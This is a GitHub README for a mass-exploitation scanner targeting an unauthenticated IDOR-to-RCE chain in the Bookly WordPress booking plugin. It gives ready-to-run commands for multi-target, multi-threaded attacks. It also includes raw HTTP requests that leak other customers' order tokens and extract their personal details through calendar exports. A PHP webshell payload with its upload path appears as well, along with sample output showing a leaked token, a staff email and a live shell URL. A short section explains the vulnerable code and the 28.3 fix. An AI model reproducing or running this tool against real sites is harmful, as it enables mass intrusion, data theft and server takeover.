josemour8/cve-2026-93399Python mass exploitation scanner for CVE-2026-93399 in the Bookly WordPress plugin: version detection, unauthenticated IDOR order-token enumeration, PII extraction, and webshell RCE.
Bookly <= 28.2 Unauth IDOR + PII Leak + RCE
Mass exploitation scanner for CVE-2026-93399 (CVSS 9.1 Critical) affecting the Bookly — Online Scheduling and Appointment Booking System WordPress plugin (versions <= 28.2).
The Bookly plugin for WordPress is vulnerable to Insecure Direct Object Reference (IDOR) via the bookly_get_form_id, bookly_render_complete, bookly_add_to_calendar, and bookly_rollback_order AJAX actions. All actions are unauthenticated (_default => 'anonymous') and CSRF protection is disabled (csrfTokenValid() returns true).
The bookly_get_form_id handler blindly stores attacker-controlled form_data (including order_id) into a new booking session without any validation. The bookly_render_complete handler then trusts this injected order_id to look up and return the corresponding Order's secret token — enabling unauthenticated attackers to enumerate sequential order IDs, disclose other customers' order tokens, retrieve calendar/appointment information, and permanently delete arbitrary non-completed bookings.
Step 1: getFormId → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete → leak victim order token via Order::query()
Step 3: addToCalendar → extract customer PII (staff name, email, service, date)
Step 4: sessionSave → inject file payload (RCE, requires Files add-on)
_prepareFormData() whitelist and _prepareCartData() sanitizer)requests librarypip install requests
git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests
# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect
# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50
# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii
# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce
# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full
# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt
# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20
| Flag | Description |
|---|---|
-u, --url | Single target URL |
-f, --file | File with target URLs (one per line) |
--detect | Check version only (safe) |
--enumerate | IDOR: leak order tokens |
--pii | Extract PII via ICS calendar export |
--rce | Attempt webshell upload |
--full | Full chain: IDOR + PII + RCE |
--start N | Start order_id (default: 1) |
--end N | End order_id (default: 50) |
-th, --threads N | Number of threads (default: 5) |
-o, --output FILE | Output file (default: results.txt) |
-v, --verbose | Show all attempts |
body="bookly-responsive-appointment-booking-tool"
body="BooklyL10nGlobal"
body="bookly-main.css?ver=28.2"
body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"
body="bookly-addon-files"
body="bookly-js-upload"
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1
Response:
{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}
Vulnerable code (Ajax.php:45-46):
$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2
POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...
Response:
{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}
Vulnerable code (Ajax.php:733):
'bookly_order' => Lib\Entities\Order::query()
->where('id', $userData->getOrderId()) // attacker-controlled
->fetchVar('token') // victim token leaked
GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics
Response: ICS file with customer data:
BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT
POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)
Shell location: /wp-content/uploads/bookly-files/shell.php
http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id
The getFormId() handler stores the entire form_data parameter (user-controlled JSON) into the session database without any whitelist or sanitization. This allows an attacker to inject arbitrary session keys, including order_id.
The renderComplete() handler reads order_id from the session and queries the Order table directly — without verifying that the current session created that order.
csrfTokenValid() is overridden to return true in the booking modulepermissions() returns array('_default' => 'anonymous'), so every handler registers both wp_ajax_ and wp_ajax_nopriv_ hooksVersion 28.3 added _prepareFormData() — a strict whitelist that strips everything except display settings (skip_service_step, hide_service_part1, hide_service_part2, defaults). Also added _prepareCartData() to sanitize cart item keys.
// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));
RCE via webshell upload requires: